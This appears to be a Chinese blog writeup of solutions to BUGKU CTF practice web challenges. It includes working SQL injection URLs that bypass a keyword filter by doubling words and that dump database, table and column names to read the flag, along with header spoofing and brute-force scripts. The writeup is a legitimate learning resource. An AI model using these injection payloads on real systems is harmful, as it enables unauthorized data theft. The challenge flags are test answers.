ctf web5 练习_BUGKU CTF 论剑场 WEB题 5-15pt 送分题 writeup~

原创

张个个 于 2020-12-29 10:20:39 发布 233 收藏 1
文章标签： ctf web5 练习

1.web26

解题：

打开页面发现如下代码：<?php

$num=$_GET['num'];

$str=$_GET['str'];

show_source(__FILE__);

if (isset($num)&&isset($str)) {

if (preg_match('/\d+/sD',$str)) {

echo "vagetable hhhh";

exit();

}

$result=is_numeric($num) and is_numeric($str);

if ($result) {

include "flag.php";

echo "$flag";

}

else{

echo "vagetablesssssss";

}

}

?>

一看就知道是个代码审计题，通过/d+/sD规则匹配传入的参数，因为正则比较简单所以我们很容易就可以找到正确的http://123.206.31.85:10026/?num=1&str=

直接传入这个空值就结束了，为啥呢，仔细看正则表达式的那句话，if(正则)只有没法匹配到任何内容的时候才回执行下面的echo flag所以说只要不填正确的，随便填就行了。

flag：

flag{f0058a1d652f13d6}

2.web1

解题：

打开链接之后入目就是一段代码

阅读代码，与上面一题类似，读取a,b参数的值，c=文件名为b的内容，a==c时打印flag内容，构造如下链接

http://123.206.31.85:10001/?a=&b=

b没有内容，所以文件内容为空，c的值为空，而a的内容也为空，所以a==c成立。

flag:

flag{c3fd1661da5efb989c72b91f3c378759}

3.web9

解题：

打开页面之后看到这样一句话

直接截取数据包，put一个bugku给他就行了。

得到ZmxhZ3tUN2w4eHM5ZmMxbmN0OE52aVBUYm4zZkcwZHpYOVZ9

直接base64解密得到flag

flag：

flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

4.流量分析

解题：

下载文件后解压发现是个bugku.pcapng文件，用wireshark打开，按协议排序，第74个数据包开始的末尾字符连起来即为flag

flag:

flag{bugku123456}

5.web2

解题：

打开页面是一个数学公式，计算结果提交，提示3秒算出来，很明显是个编程题。

懒得写了，太简单了。。。。直接帖人家的代码吧import requests

import re

url = 'http://123.206.31.85:10002/'

s = requests.session()

html = s.get(url).text

html = html[82:]

nums = re.search('

',html).start()
html = html[:nums]

data = {'result':eval(html)}

result = s.post(url,data)

print(result.text)

flag:

flag{b37d6bdd7bb132c7c7f6072cd318697c}

6.web5

解题：

题目坏了，做不了。

7.web6

解题：

打开链接

上来先试试万能密码，提示ip已被记录，需要本地登录，拦截数据包，加上X-Forwarded-For:127.0.0.1 之后提示密码错误，说明绕过了登录源限制。

然后开始尝试爆破密码————————————是不可能的，这辈子都懒得爆破，查看网页源码，在底下找到代码注释dGVzdDEyMw== ，base64搞一下得到密码test123提交可以拿到flag

flag:

flag{85ff2ee4171396724bae20c0bd851f6b}

8.web11

解题：

打开链接

根据提示访问robots.txt,访问之后找到shell.php，找到shell.php之后看到提示

因为只有前6位，直接写脚本进行碰撞，脚本内容如下import hashlib

def get_token(txt):

m1 = hashlib.md5()

m1.update(txt.encode("utf-8"))

token = m1.hexdigest()

return token

for i in range(0,99999999999):

if get_token(str(i))[0:6] == 'c620ff':

print(i)

break

将碰撞结果提交即可

flag:

flag{e2f86fb5f75da4999e6f4957d89aaca0}

9.web13

解题：

打开链接

注入啥的都试了，都不是，扫了一圈目录也没啥结果，抓包看

发现返回包里有password字
段，ZmxhZ3tmNTAxMzcxZWI1NjA5ZTVjZDQ1OTc3MDBmYWE5ZTJjZX0=，base64解码之后得到结果
flag{f501371eb5609e5cd4597700faa9e2ce}但是这不是真正的flag需要将flag{}里的结果提交，提交之后提示

Can you do it faster? you cost [2468876] msec

需要写脚本跑代码如下import requests

import base64

rq = requests.post('http://123.206.31.85:10013/',params="password=1")

a=rq.headers

c=rq.cookies

b=dict(a)

print(b)

```
base=b['Password']
cook=b['Set-Cookie'].strip('; path=/; HttpOnly').strip('PHPSESSID=')
print(cook)
post_data=base64.b64decode(base)
#print(post_data.decode())
data_to_manage = post_data.decode()
data1=data_to_manage.strip('flag{')
data2=data1.strip('}')
print(data2)
rq2 = requests.post('http://123.206.31.85:10013/',data={'password':data2},cookies={'PHPSESSID':cook})
print(rq2.text)
```

flag:

flag{FjXAkdGnOBolUZaFzHqjlnY2VndLSg}

10.日志审计

解题：

下载log文件后，大体看了一遍啥都没发现，最后找到一堆sqlmap脚本扎堆的地方。

把其中的ascii码转换为字符串，写脚本：

```
fd=open('log.log','r')
lines = fd.readlines()
str=''
for line in lines:
line=line.strip('\n')
if '%3D' in line:
data1 = line.split('%3D')
data2= data1[1]
data3=data2.split('--')
data4=data3[0]
data4=int(data4)
st=chr(data4)
str=str+st
print(str)
```

得到结果

flag:

flag{mayiyahei1965ae7569}

11.web18

解题：

打开链接，发现一个做的不是很精致的页面，测试发现，注入口在点击list后的id中。为什么确定是id呢，因为其他的注入口测试没有结果，比如那个输入框，而id测试有结果。

首先测试是否是数值注入，id=1 and 1=2 发现返回数据正常，所以不是数值注入。

再测试字符注入，加一个'，发现返回结果不正常，所以判断存在字符注入，然后就好办了

确定了注入类型之后，我们使用order命令来判断该表有几列数据，然后我发现，order命令一直没有效果，我本来以为这个页面是过滤了order命令，然后用大小写，双写方法绕过，发现都失败了，后来发现，这个玩意他只是过滤了or，而order里有or，所以事情就变得搞笑了起来，整了半天才正确判断了列的数量，测试语句为：

http://123.206.31.85:10018/list.php?id=1%27%20oorrder%20by%203--+

order 3时页面正确返回，判断出该表总共有三列数据。

然后使用http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,2,3--+看一下显示位，同时测试除了需要双写union和select进行绕过。

然后使用http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,(selselectect%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),3%20--+看一下数据库名，看见了web18

然后使用http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,(seleselectct%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),(seleselectct%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_sch-+

查看web18数据库的表名，找到了ctf和flag

然后用http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,(seleselectct%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),(selselectect%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table-+

查看flag表的列名找到了id和flag

最后通过

http://123.206.31.85:10018/list.php?id=111%27%20ununionion%20seselectlect%201,(seleselectct%20group_concat(schema_name)%20from%20infoorrmation_schema.schemata),(selselectect%20group_concat(flag)%20from%20web18.flag)--+

成功读取了本题的flag

flag:

flag{22b7a7c3d73d88050722b3eeb102ee45}

12.web20

解题：

打开页面后看到下面一段话

没啥好说的直接上脚本：import re

import requests

for i in range(1,100):

url="http://123.206.31.85:10020/"

s=requests.session()

r=s.get(url=url)

res="[0-9a-z]+"

key=re.findall(res,r.content.decode("utf-8"))

key=str(key[0])

url1=url+"?key="+key

print(url1)

r=s.get(url=url1)

print(r.content.decode("utf-8"))

有一定概率出现flag，持续请求就可以了

flag:

flag{Md5tiMe8888882019}

13.web25

解题：

这题解法没啥水平，直接用目录扫描器，御剑也好，dirsearch也好，最后扫出来一个shell.php这才是真正的提交点

然后呢提交内容，在http://123.206.31.85:10025/xiazai.html页面点击那个下载链接，将目录的2/去掉就行了，可以得到一些字符。一个一个尝试，提交到最后一个hsjnb就可以得到flag。

flag:

flag{ee90585a68b88bcd}

14.web5

解题：

提示已经说明了是个注入题，点进去看，发现mod参数的值不可以乱改，新建删除功能也都无法使用，只有id参数可以修改。

不考虑使用sqlmap直接跑，没意思。

首先测试是否存在注入点，首先判断字符型注入还是数值型注入。

加一个'号看返回，测试一些语句，发现不行，在测试数值型注入。

加 and 1=2发现返回错误,但是加 and 1=1返回正常，说明这里是字符型注入。

首先确认字段个数，从http://6fe97759aa27a0c9.bugku.com/?mod=read&id=1 order by 5开始报错，所以他的字段数应该是4

开始联合查询

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,database(),4

找到数据库名web5,这里2,3,4的位置可以查询，1的位置不可以查询。

查询表名

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='web5'

找到了flag,posts,users，其中flag表明显就是我们需要的

查询web5库 flag表里的字段

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='flag'

得到字段的值为flag

我们直接来查询flag

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(flag),4 from flag

然后就结束了。

flag:

flag{320dbb1c03cdaaf29d16f9d653c88bcb}